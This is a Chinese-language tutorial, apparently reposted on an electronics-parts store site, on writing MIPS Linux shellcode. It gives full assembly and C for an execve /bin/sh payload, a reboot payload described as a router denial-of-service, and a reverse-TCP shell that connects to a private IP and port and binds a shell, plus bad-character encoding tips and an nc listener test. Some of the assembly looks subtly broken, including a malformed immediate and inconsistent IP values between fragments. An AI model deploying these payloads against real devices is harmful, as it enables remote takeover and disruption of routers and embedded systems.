资讯详情

MIPS shellcode

文章目录

  • 1. MIPS linux 系统调用
    • write
    • execve
  • 2. 编码优化
    • 优化方法-指令优化
    • 编码优化
  • 3. 通用shellcode
    • reboot shellcode
    • reverse_tcp shellcode

1. MIPS linux 系统调用

MIPS没有int 0x80, 而是使用syscall系统调用。

syscall($v0, $a0, $a1, $a2...); 汇编: li $a0, 0 li $v0, 4001 # exit syscall 

$v0为系统调用号, 定义位于/usr/include/mips-linux-gnu/asm/unistd.h

C语言版本可以先实现shellcode,然后用strace检查系统调用号,然后根据系统调用号汇编版本shellcode。

write

文档:https://man7.org/linux/man-pages/man2/write.2.html

.section .text .globl __start .set noreorder __start: addiu $sp,$sp,-32        # 用来放置参数 li $a0,1                # 输入第一个参数表示输出stdout lui $t6,0x4142             ori $t6,$t6,0x430a        # 放置字符ABCn到$t6中 sw $t6,0($sp)            # 将$t6存储在堆栈中的数据 addiu $a1,$sp,0        # 从堆栈中将ABCn存储到第二个参数$a1中, li $a2,5                # 5.表示字符串的长度 li $v0,4004            # 传入write系统调用号4004 syscall 

编译:

#!/bin/sh # $ sh nasm.sh <source file> <excute file> src=$1 dst=$2 ~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-as $src -o s.o echo "as ok" ~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-ld s.o -o $dst echo "ld ok" rm s.o 

execve

execve是常用的shellcode其中一个用于操作/bin/sh之类的shell。

文档:https://man7.org/linux/man-pages/man2/execve.2.html

# execve(“/bin/sh”, 0, 0)  .section .text .globl __start .set noreorder  __start: li $a2,0x111  # 因为mips这两个指令同时执行流水线基址 p:bltzal $a2,p          # jmp if $a2 < 0, 执行后,下行addiu地址将被保存$ra中 li $a2,0                # 存入第三个参数0,  addiu $sp,$sp,-32        # 提高堆栈,存储参数, 该行地址在bltzal时保存至$ra addiu $a0,$ra,28        # $ra 28以下参数字符串/bin/sh的首地址, 28==7(行)*4 bytes sw $a0,-24($sp)        # 将/bin/sh存入开放数组 sw $zero,-20($sp)        # 将参数0存入数组 addiu $a1,$sp,-24 li $v0,4011  # execve syscall  sc:                    # 存储参数//bin/sh     .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68  

2. 编码优化

坏字符包括:NULL, \r, \n,空格等。

优化方法-指令优化

不要立即数0, 先赋值为大数,再减去大数。

编码优化

编码后的shellcode构造:

解码指令 要求短小精悍 编码后的指令 

编码算法:

  • base64: 用于网页shellcode;
  • alpha_upper:全替换为ascii可见字符;
  • xor:异或一下。

3. 通用shellcode

reboot shellcode

用途:重启路由器dos。

reboot系统调用文档:https://man7.org/linux/man-pages/man2/reboot.2.html

#include <unistd.h> #include <linux/reboot.h> #include <sys/reboot.h>

int main() { 
        
  reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART);
}

汇编:

.section .text
.globl __start
.set noreorder
__start:
lui $a2, 0x4321
ori $a2, $a2, 0xfedc

lui $a1, 0x2812
ori $a1, $a1, 0x1969

lui $a0, 0xFEEL
ori $a0, $a0, 0xDEAD

li $v0, 4088
syscall

reverse_tcp shellcode

相关系统调用:

  • https://man7.org/linux/man-pages/man2/socket.2.html
  • https://man7.org/linux/man-pages/man2/connect.2.html
  • https://man7.org/linux/man-pages/man2/dup2.2.html
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

int soc, rc;
struct sockaddr_in serv_addr;
//reverse(ip: port) 192.168.32.140:30583

// struct sockaddr_in { 
        
// sa_family_t sin_family;
// uint16_t sin_port;
// struct in_addr sin_addr;
// char sin_zero[8];
// }

int main() { 
        
        serv_addr.sin_family = AF_INET/*2*/;
        serv_addr.sin_addr.s_addr = 0xc0a8208c;
        serv_addr.sin_port = 0x7777;
        soc = socket(AF_INET/*2*/, SOCK_STREAM/*2*/, 0);
        rc = connect(soc, (struct sockaddr *)&serv_addr, 0x10);
        dup2(soc, 0);
        dup2(soc, 1);
        dup2(soc, 2);
        execve("/bin/sh", 0, 0);
}

汇编部分,分解一下来实现:

socket:

# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3	# 指令优化
addi $a1, $t7, -3
slti $a2, $zero, -1		# $a2 = ($zero < (-1)) ? 1 : 0
li $v0, 4183     # sys_socket
syscall

connect:

# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)		# socketr
lw $a0, -1($sp)

li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)	# sin_family	big endian

lui $t6, 0x7777    #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)	

lui $t6, 0xc0a8       #ip(high)
ori $t6, $t6, 0x0249  #ip(low)
sw $t6, -26($sp)

addiu $a1, $sp, -30		# sizeof(sin_family) == 2 bytes
li $t4, -17
nor $a2, $t4, $zero		# not(-17 | 0) == not(b1111) == 0x10
li $v0, 4170      #sys_connect
syscall

dup2:

# sys_dup2
# a0: oldfd  (socket)
# a1: newfd  (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero		# not(b101) == b10 == 2
lw $a0, -1($sp)		# sock
dup2_loop:  move $a1, $s1      #dup2_loop
li $v0, 4063          # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop		# if newfd == -1, break

execve:

# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1		# $a2 = ($zero < (-1)) ? 1 : 0

# big endian
lui $t7, 0x2f2f    #"//"
ori $t7, $t7, 0x6269  #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f    #"n/"
ori $t6, $t6, 0x7368  #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)

addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8	# pointer to "/bin/sh"
li $v0, 4011      #sys_execve
syscall

完整版:

.section .text
.globl __start
.set noreorder
__start:

# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183     # sys_socket
syscall

# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)
lw $a0, -1($sp)
li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)
lui $t6, 0x7777    #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)
lui $t6, 0xc0a8       #ip(high) 192.168
ori $t6, $t6, 0x208c  #ip(low)  32.140
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
nor $a2, $t4, $zero
li $v0, 4170      #sys_connect
syscall

# sys_dup2
# a0: oldfd  (socket)
# a1: newfd  (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero
lw $a0, -1($sp)
dup2_loop:  move $a1, $s1      #dup2_loop
li $v0, 4063          # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop

# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1
lui $t7, 0x2f2f    #"//"
ori $t7, $t7, 0x6269  #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f    #"n/"
ori $t6, $t6, 0x7368  #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8
li $v0, 4011      #sys_execve
syscall

可以使用nc测试:

nc -l 30583

总结下注意点:

  1. 这种长的shellcode,要分解实现;
  2. 注意结构体成员地址问题,赋值时4字节为单位;
  3. 注意大端存储;
  4. 注意优化。

标签: 振动传感器208c03

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台